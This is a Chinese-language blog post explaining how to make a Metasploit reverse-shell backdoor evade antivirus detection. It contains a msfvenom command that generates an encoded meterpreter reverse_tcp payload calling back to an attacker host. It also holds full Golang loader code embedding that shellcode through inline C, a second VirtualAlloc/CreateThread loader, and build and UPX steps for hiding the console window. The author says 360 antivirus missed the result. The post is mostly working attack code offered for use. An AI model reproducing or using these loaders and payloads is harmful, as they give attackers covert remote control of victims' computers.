關於msf反彈後門的免殺Tips
msf是一個很強大的工具,我經常會在滲透用它來反彈shell,不過它生成的反彈後門會被不少殺軟kill,這篇文章只是講講我在msf中一個簡單的免殺小技巧
思路
我以前接觸過一款python的遠控,其實說是遠控,基本也就是nc的功能加了一個服務端的web頁面控制並加了一些其他的功能可以用來管理諸多客戶機
這款遠控我下載下來用過,並用pyinstaller打包成了exe(缺點是體積太過龐大),驚奇的是,360不殺它,然後自己想著其他語言是不是也會這樣,於是我用golang寫了一個簡易版nc反彈,編譯之後,也是不查殺的。python和golang有一個共同點,就是可以用來內聯C程式設計,所以C語言的shellcode按理說應該會達到同樣的效果
得到shellcode
msfvenom -p windows/meterpreter/reverse_tcp LPORT=5555 LHOST=192.168.1.100 -e x86/shikata_ga_nai -i 11 -f py > 1.py
建議是生成32位的,如果想生成64位也可以,-e x86/shikata_ga_nai -i 11
是指用x86/shikata_ga_nai
編碼迭代11次,然後生成py檔案
py檔案開啟是shellcode,我們接下來對它進行一點小改造,對於python去執行shellcode的方法,相信小夥伴都已經不陌生,在《python灰帽子》中有講解,我今天要使用的是golang,其實個人認為golang執行shellcode的程式碼是更簡潔的
Golang環境搭建
安裝Golang32位(建議32位,與前面對應,在測試過程中,如果32位shellcode配合64位golang加32位gcc,就算把golang的GOARCH改為386也依舊會失敗,建議一一對應),安裝gcc32位(可以使用TDM-GCC)
程式碼編寫
package main /* void call(char *code) { int (*ret)() = (int(*)())code; ret(); } */ import "C" import "unsafe" func main() { buf := "" buf += "\xdd\xc6\xd9\x74\x24\xf4\x5f\x33\xc9\xb8\xb3\x5e\x2c" buf += "\xc9\xb1\x97\x31\x47\x1a\x03\x47\x1a\x83\xc7\x04\xe2" buf += "\x46\x84\xfd\x72\xee\x0e\xb5\x96\x37\x04\x6d\x63\x9f" buf += "\xcc\xa4\x3a\x8e\x8c\xf7\x39\x81\xca\xe4\x42\xff\xce" buf += "\xa3\xa2\xdb\x06\xc0\x3f\xaf\x41\x73\xba\xf7\x20\x13" buf += "\x98\x8c\xff\xfa\x0a\xda\x6e\xf2\x6d\xc3\x81\x07\xc0" buf += "\x1b\x37\xeb\xa2\xa9\x32\x71\xaf\xe9\x20\xd1\xaa\x9e" buf += "\xbd\x82\xf3\x81\x1f\xab\xbf\xc4\xd9\x6c\x75\x37\x3a" buf += "\x53\x78\x90\x79\xaf\x93\x1b\xb3\x15\x09\xe5\x45\x5c" buf += "\x26\x0f\x0d\x16\x52\xf1\x8a\x7e\x8b\xc4\x50\x8e\x0a" buf += "\x38\x2f\x2b\x40\x73\x0b\xf0\x51\x5f\xc6\xbf\x04\x47" buf += "\x80\x36\xe5\x88\x88\xb3\xfc\xa0\x52\xfe\x92\x81\x8d" buf += "\x89\xf2\x6a\xcc\x7f\x9a\xe9\x1a\x30\x73\xa3\x63\x42" buf += "\x10\xe9\xcf\x62\xe4\x06\x52\xe1\x8d\x88\xfe\x52\xc4" buf += "\xc3\xed\x7a\x0e\x66\x5f\x8c\x2c\xef\xfa\xbd\x8c\x79" buf += "\x6c\x01\xe3\x5c\xde\xc4\x8a\x4c\x7d\x34\x32\xb5\x23" buf += "\x56\x6c\x52\x3f\x15\x26\x6a\xf8\x6b\x81\x2c\x23\x8d" buf += "\x41\x6e\x24\x30\xc6\xcb\xba\x26\xd4\x3b\x37\xd3\xc6" buf += "\xa8\x5a\x16\x8f\x1e\x27\xca\xcb\xda\x7f\x74\x62\xb2" buf += "\x62\xa6\xb1\xfc\x64\x53\x3a\xa7\xa4\x21\x3d\x79\x08" buf += "\x06\x74\x2a\xa2\xe7\x0d\x68\x16\xa3\x96\xe5\xad\x32" buf += "\x10\xa3\x0f\x49\xc3\x69\xa7\x5b\x61\x1a\xf8\x1d\x9e" buf += "\x9b\x3a\x00\xfc\x18\xc3\x42\x1a\xd6\x44\x5d\xfe\xc5" buf += "\xb6\x68\xd2\xad\x24\xda\x74\xa7\xf3\x66\x9a\x42\x7a" buf += "\x50\xf0\x0b\x47\xbc\xad\x6c\x1e\xca\xbe\x90\xca\xc3" buf += "\x8e\x5b\xde\x66\xe2\xb3\x20\x6f\x38\x17\xc1\xac\xfb" buf += "\xd3\x2f\x91\xa7\xff\x65\xd7\xd0\x25\x4c\xd4\xb3\x35" buf += "\x38\xa1\x82\xb8\x23\x42\xe9\xa5\x95\x8e\xc4\x35\xca" buf += "\x92\xfe\xde\x62\x70\xd6\x7a\x7f\xfd\xfb\xf0\x24\xbd" buf += "\x5d\x6d\x3d\x13\xbc\x1d\x25\x54\x9d\x0e\x68\xc8\x9a" buf += "\x10\x87\xf0\xc9\xac\x37\x57\x84\x23\x5f\x8a\xc0\xab" buf += "\x52\x6e\xae\x79\xa2\xdb\xff\xd8\x41\x28\x8b\xd3\x9d" buf += "\x68\x3c\x55\xf2\xfe\x0c\x8a\x38\xdf\xb3\x80\x9b\x70" buf += "\x2b\x4e\xe1\xfa\x0b\xfe\xf5\xc3\x1a\x0d\x83\xb0\x69" buf += "\xd0\x68\xfb\xe0\xae\xbd\x56\x52\x17\x9a\xf8\x8f\xc0" buf += "\x14\x8c\xb0\xf7\x0e\x87\xfa\x54\xf4\x04\x4a\x5a\xc8" buf += "\x89\x57\x0e\xbf\x7a\x76\x9b\xfe\xb8\x5f\x31\x42\xec" buf += "\xaf\x18\x9e\x3f\xf0\x09\x79\x86\xb3\x08\x29\x50\xfd" buf += "\xc3\x46\x7d\x24\x51\x5b\xd0\x81\x19\x6f\xc2\x2c\x17" buf += "\xab\xa3\xb7\xd9\x6f\x82\xd9\x37\x5f\x38\x01\xd8\xfd" buf += "\xfd\x11\x22\x61\xd0\x92\x45\x37\x4f\x6c\x4e\x91\x3b" buf += "\x42\x07\xc5\x77\xdc\x52\xd6\xc7\x9d\x7b\x62\xba\x1c" buf += "\x62\x3c\xde\xad\x96\x03\x55\xde\x9d\x52\x5c\x5d\x0c" buf += "\x73\x0e\xc3\x4c\xae\x7d\x1c\x7c\x64\xaf\xbb\xce\xa6" buf += "\x02\x0e\xb1\x51\xc4\x2d\x1b\x6b\xb7\x7c\xd9\x4b\xc3" buf += "\x8c\x43\xd6\x1b\x2a\x4f\x5e\x0a\x9a\xd5\x4d\x45\x64" buf += "\x6c\x0c\xc8\xf5\x59\xd7\x45\x36\x85\x99\x8d\x34\x65" buf += "\x21\xd3\x3b\x35\xce\x22\x29\x0c\x4e\xca\x48\x3f\x55" buf += "\x5d\x1b\xda\x35\xc1\x2d" // at your call site, you can send the shellcode directly to the C // function by converting it to a pointer of the correct type. shellcode := []byte(buf) C.call((*C.char)(unsafe.Pointer(&shellcode[0]))) }
以上就是全部程式碼
其實Golang還有個執行shellcode的方法是不用內聯C語言的,但是我這邊測試能接到反彈shell,但是執行命令會直接斷開,程式碼我也貼出來
package main
import (
"syscall"
"unsafe"
)
func ThreadExecute(Shellcode []byte) {
var K32 = syscall.MustLoadDLL("kernel32.dll")
var CreateThread = K32.MustFindProc("CreateThread")
var VirtualAlloc = K32.MustFindProc("VirtualAlloc")
var WaitForSingleObject = K32.MustFindProc("WaitForSingleObject")
Addr, _, _ := VirtualAlloc.Call(0, uintptr(len(Shellcode)), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)
AddrPtr := (*[990000]byte)(unsafe.Pointer(Addr))
for i := 0; i < len(Shellcode); i++ {
AddrPtr[i] = Shellcode[i]
}
ThreadAddr, _, _ := CreateThread.Call(0, 0, Addr, 0, 0, 0)
WaitForSingleObject.Call(ThreadAddr, 0xFFFFFFFF)
}
關於斷開的原因,希望找出原因的能告知我一下,其實我們會發現,內聯C是比較簡單的
防毒測試
在程式碼所在目錄cmd執行go build
得到二進位制檔案(或者可以用go build -ldflags="-s -w"
減小體積,go build -ldflags="-H windowsgui -s -w"
去掉命令視窗)
可以看到360的靜態查殺和動態查殺都沒有發現
那麼是否正常工作呢
可以看到完全是沒問題的,體積比python編譯出來的小的多,編譯出來是500多kb,然後經過upx壓縮了一下(測試upx壓縮後功能依舊正常),降低到了200多kb
視訊
{% bilibili "aid:9975200" "quality:high" "danmaku" "allowfullscreen" %}